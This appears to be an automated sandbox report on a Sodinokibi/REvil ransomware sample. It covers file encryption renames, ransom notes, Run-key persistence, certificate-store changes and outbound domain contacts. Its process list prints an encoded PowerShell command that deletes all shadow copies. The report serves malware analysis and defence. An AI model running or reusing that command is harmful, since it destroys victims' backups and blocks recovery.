Malware Analysis Report

2025-01-18 19:07

Sample ID 220130-jszsbshagj
Target 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3
SHA256 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3
Tags
$2a$10$e73sujo4s4ttap2oatwuweol.ryswysta5bq0yqgqar1msygep3bs 4169 sodinokibi persistence ransomware
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V6

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3

Threat Level: Known bad

The file 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3 was found to be: Known bad.

Malicious Activity Summary

$2a$10$e73sujo4s4ttap2oatwuweol.ryswysta5bq0yqgqar1msygep3bs 4169 sodinokibi persistence ransomware

Sodinokibi family

Sodin,Sodinokibi,REvil

Modifies extensions of user files

Adds Run key to start application

Enumerates connected drives

Drops file in System32 directory

Sets desktop wallpaper using registry

Drops file in Program Files directory

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Modifies system certificate store

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2022-01-30 07:56

Signatures

Sodinokibi family

sodinokibi

Analysis: behavioral1

Detonation Overview

Submitted

2022-01-30 07:56

Reported

2022-01-30 13:10

Platform

win7-en-20211208

Max time kernel

151s

Max time network

162s

Command Line

"C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe"

Signatures

Sodin,Sodinokibi,REvil

ransomware sodinokibi

Modifies extensions of user files

ransomware
Description Indicator Process Target
File renamed C:\Users\Admin\Pictures\SelectAdd.png => \??\c:\users\admin\pictures\SelectAdd.png.49sbjcp C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File renamed C:\Users\Admin\Pictures\UnlockPop.png => \??\c:\users\admin\pictures\UnlockPop.png.49sbjcp C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File renamed C:\Users\Admin\Pictures\WriteConvertFrom.raw => \??\c:\users\admin\pictures\WriteConvertFrom.raw.49sbjcp C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File renamed C:\Users\Admin\Pictures\InvokeClear.crw => \??\c:\users\admin\pictures\InvokeClear.crw.49sbjcp C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened for modification \??\c:\users\admin\pictures\ResolveConvertFrom.tiff C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File renamed C:\Users\Admin\Pictures\ResolveConvertFrom.tiff => \??\c:\users\admin\pictures\ResolveConvertFrom.tiff.49sbjcp C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\mjOObKp0yy = "C:\\Users\\Admin\\AppData\\Local\\Temp\\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe" C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A

Enumerates connected drives

Description Indicator Process Target
File opened (read-only) \??\V: C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened (read-only) \??\W: C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened (read-only) \??\E: C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened (read-only) \??\K: C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened (read-only) \??\O: C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened (read-only) \??\P: C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened (read-only) \??\R: C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened (read-only) \??\U: C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened (read-only) \??\Z: C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened (read-only) \??\A: C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened (read-only) \??\B: C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened (read-only) \??\F: C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened (read-only) \??\J: C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened (read-only) \??\X: C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened (read-only) \??\T: C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened (read-only) \??\D: C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened (read-only) \??\G: C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened (read-only) \??\I: C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened (read-only) \??\L: C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened (read-only) \??\M: C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened (read-only) \??\N: C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened (read-only) \??\Q: C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened (read-only) \??\H: C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened (read-only) \??\S: C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened (read-only) \??\Y: C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\System32\CatRoot2\dberr.txt C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A

Sets desktop wallpaper using registry

ransomware
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\d786o60.bmp" C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A

Drops file in Program Files directory

Description Indicator Process Target
File opened for modification \??\c:\program files\UninstallOpen.mov C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File created \??\c:\program files (x86)\microsoft sql server compact edition\v3.5\desktop\49sbjcp-readme.txt C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File created \??\c:\program files\49sbjcp-readme.txt C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File created \??\c:\program files (x86)\49sbjcp-readme.txt C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened for modification \??\c:\program files\ExpandClose.vssx C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened for modification \??\c:\program files\ResumeConvert.pcx C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened for modification \??\c:\program files\WaitUse.mpe C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File created \??\c:\program files (x86)\microsoft sql server compact edition\49sbjcp-readme.txt C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened for modification \??\c:\program files\ExportDisconnect.TS C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened for modification \??\c:\program files\ImportUnregister.vdw C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened for modification \??\c:\program files\RepairConnect.kix C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened for modification \??\c:\program files\ConvertToNew.mp4 C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened for modification \??\c:\program files\InvokeInitialize.mpv2 C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened for modification \??\c:\program files\SyncHide.i64 C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File created \??\c:\program files (x86)\microsoft sql server compact edition\v3.5\49sbjcp-readme.txt C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened for modification \??\c:\program files\CompressRegister.7z C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened for modification \??\c:\program files\InvokeTrace.001 C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened for modification \??\c:\program files\RepairWatch.ods C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A

Modifies system certificate store

evasion spyware trojan
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 040000000100000010000000497904b0eb8719ac47b0bc11519b74d00f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d578112861900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b06010505070308200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeAuditPrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe

"C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==

C:\Windows\system32\wbem\unsecapp.exe

C:\Windows\system32\wbem\unsecapp.exe -Embedding

C:\Windows\system32\vssvc.exe

C:\Windows\system32\vssvc.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 accountancywijchen.nl udp
NL 92.63.163.115:443 accountancywijchen.nl tcp
NL 92.63.163.115:443 accountancywijchen.nl tcp
US 8.8.8.8:53 heidelbergartstudio.gallery udp
US 8.8.8.8:53 psc.de udp
DE 87.237.121.148:443 psc.de tcp
US 8.8.8.8:53 plantag.de udp
DE 217.160.0.197:443 plantag.de tcp
DE 217.160.0.197:443 plantag.de tcp
US 8.8.8.8:53 devok.info udp
US 188.114.97.0:443 devok.info tcp
US 8.8.8.8:53 bunburyfreightservices.com.au udp
US 104.155.155.40:443 bunburyfreightservices.com.au tcp
US 104.155.155.40:443 bunburyfreightservices.com.au tcp
US 8.8.8.8:53 alysonhoward.com udp
US 172.67.195.179:443 alysonhoward.com tcp
US 8.8.8.8:53 innote.fi udp
DE 52.59.120.70:443 innote.fi tcp
DE 52.59.120.70:443 innote.fi tcp
US 8.8.8.8:53 candyhouseusa.com udp
DE 85.214.77.144:443 candyhouseusa.com tcp
US 8.8.8.8:53 musictreehouse.net udp
US 8.8.8.8:53 abogadosadomicilio.es udp
DE 139.162.169.6:443 abogadosadomicilio.es tcp
US 8.8.8.8:53 1kbk.com.ua udp
UA 185.68.16.39:443 1kbk.com.ua tcp
US 8.8.8.8:53 waermetauscher-berechnen.de udp
